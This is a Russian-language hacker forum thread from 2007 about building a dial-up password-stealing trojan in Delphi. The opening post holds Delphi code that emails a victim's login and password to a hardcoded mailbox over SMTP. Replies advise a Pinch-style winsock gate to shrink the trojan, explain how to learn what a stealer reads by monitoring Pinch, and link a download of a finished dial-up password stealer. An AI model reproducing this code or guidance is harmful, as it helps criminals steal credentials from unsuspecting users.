Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Dial-up + Trojan + Delphi |
02.05.2007, 07:03
|
|
Познающий
Регистрация: 09.06.2005
Сообщений: 72
Провел на форуме:
348081
Репутация:
20
|
|
Dial-up + Trojan + Delphi
Доброго дня,
с кооперируемся и поможем мне 
смотрите что есть :
PHP код:
procedure TForm2.btn1Click(Sender: TObject);
var
msg: TIdMessage;
begin
Memo1.Clear;
if (cbb1.Text = '') or (edt1.Text = '') then
Exit;
btn1.Enabled:= False;
btn2.Enabled:= False;
IdSMTP1.UserId:= 'имя@mail.ru';
IdSMTP1.Password:= 'пароль';
IdSMTP1.Host:= 'smtp.mail.ru';
IdSMTP1.AuthenticationType:= atLogin;
msg:= TIdMessage.Create(IdSMTP1);
msg.Subject:= 'Что то жертвы: ' + cbb1.Text;
msg.Recipients.EMailAddresses:= 'кому@rambler.ru';
msg.From.Address:= 'откого@mail.ru';
Memo1.Lines.Add('|=====================|');
Memo1.Lines.Add(' Чтото жертвы: ' + cbb1.Text);
Memo1.Lines.Add(' Пароль Жертвы: ' + edt1.Text);
memo1.Lines.Add('|=====================|');
msg.Body.Text:= Memo1.Text;
{ dialup.login:= ;
dialup.Password:= '';
try
dialup.Login(0);
except
Exit;
end; }
try
IdSMTP1.Connect(); //Ñîåäèíåíèå
IdSMTP1.Send(msg); //Îòïðàâêà
Exit;
finally
IdSMTP1.Disconnect; //Îòêëþ÷åíèå
btn1.Enabled:= False;
btn2.Enabled:= False;
end;
end;
Вопрос:
Каким образом можно вытягивать пароли из системы?
Сложно будет кому то впарить такое но все же нужно! |
|
|
02.05.2007, 11:20
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241
Репутация:
3349
|
|
Мне кажется что с мылом - чуток туповато. Т.к. простой дикомпил этого создания покажет куда что шлется и с каким паролем. И этот потовый ящик может поиметь любой с более менее ровными руками. Да к томуже и размер будет, даже если сжать UPX'ом, порядком более 200 килобайт!
Мой тебе совет: для отправки данных лучше юзай типа гейта от пинча. Во первых - никаких паролей которые можно спереть, а во вторых можно напрямую через winsock всё сделать без всяких VCL и тогда размер будет в пределах 40 килобайт. А если убраль лишние модули и заменить их своими(типа sysutils) то размер можно получить порядка 20 килобайт.
-----------
А на счет паролей - погляди что делает пинч. К примеру поставь файловый монитор и монитор реестра и запусти пинч и увидешь к чему он лезит. А там дела техники. Вобщем разобраться с можешь быстро что и откуда нужно тырить!
|
|
|
|
02.05.2007, 11:58
|
|
Познающий
Регистрация: 09.06.2005
Сообщений: 72
Провел на форуме:
348081
Репутация:
20
|
|
Ok! Погляжу
|
|
|
|
02.05.2007, 14:29
|
|
HARDstasy
Регистрация: 26.11.2004
Сообщений: 1,367
Провел на форуме:
4226592
Репутация:
2175
|
|
оппа, это ж сорцы моего приватного троя, откуда они у тебя?
|
|
|
|
02.05.2007, 15:07
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241
Репутация:
3349
|
|
2 ProTeuS :-D :-D
|
|
|
|
02.05.2007, 15:52
|
|
Познающий
Регистрация: 09.06.2005
Сообщений: 72
Провел на форуме:
348081
Репутация:
20
|
|
Сообщение от ProTeuS
оппа, это ж сорцы моего приватного троя, откуда они у тебя?
Сорцы не сорсы лучша помоги братьям по разуму ЫЫ 
|
|
|
|
02.05.2007, 18:18
|
|
Banned
Регистрация: 22.04.2007
Сообщений: 10
Провел на форуме:
102087
Репутация:
-23
|
|
IdSMTP1.UserId:= 'имя@mail.ru';
IdSMTP1.Password:= 'пароль';
IdSMTP1.Host:= 'smtp.mail.ru';
Лучше фтп...
Поставь гейт от Nuklaer.(Только немного измени его)
|
|
|
|
04.05.2007, 06:57
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме:
1892597
Репутация:
836
|
|
вот держи...
Прога написанна на API... так что проблемы с 200 кб отпадают )))
1. Ворует Dual-UP пассы.
2. Отправляет на указанное мыло которое прошито в теле проги!!! Так что предется перекомпилировать )
www.tcpv.narod.ru/DialRIP.7z
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
|
|
|
|
04.05.2007, 09:33
|
|
Познающий
Регистрация: 09.06.2005
Сообщений: 72
Провел на форуме:
348081
Репутация:
20
|
|
Спасибо всем |
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
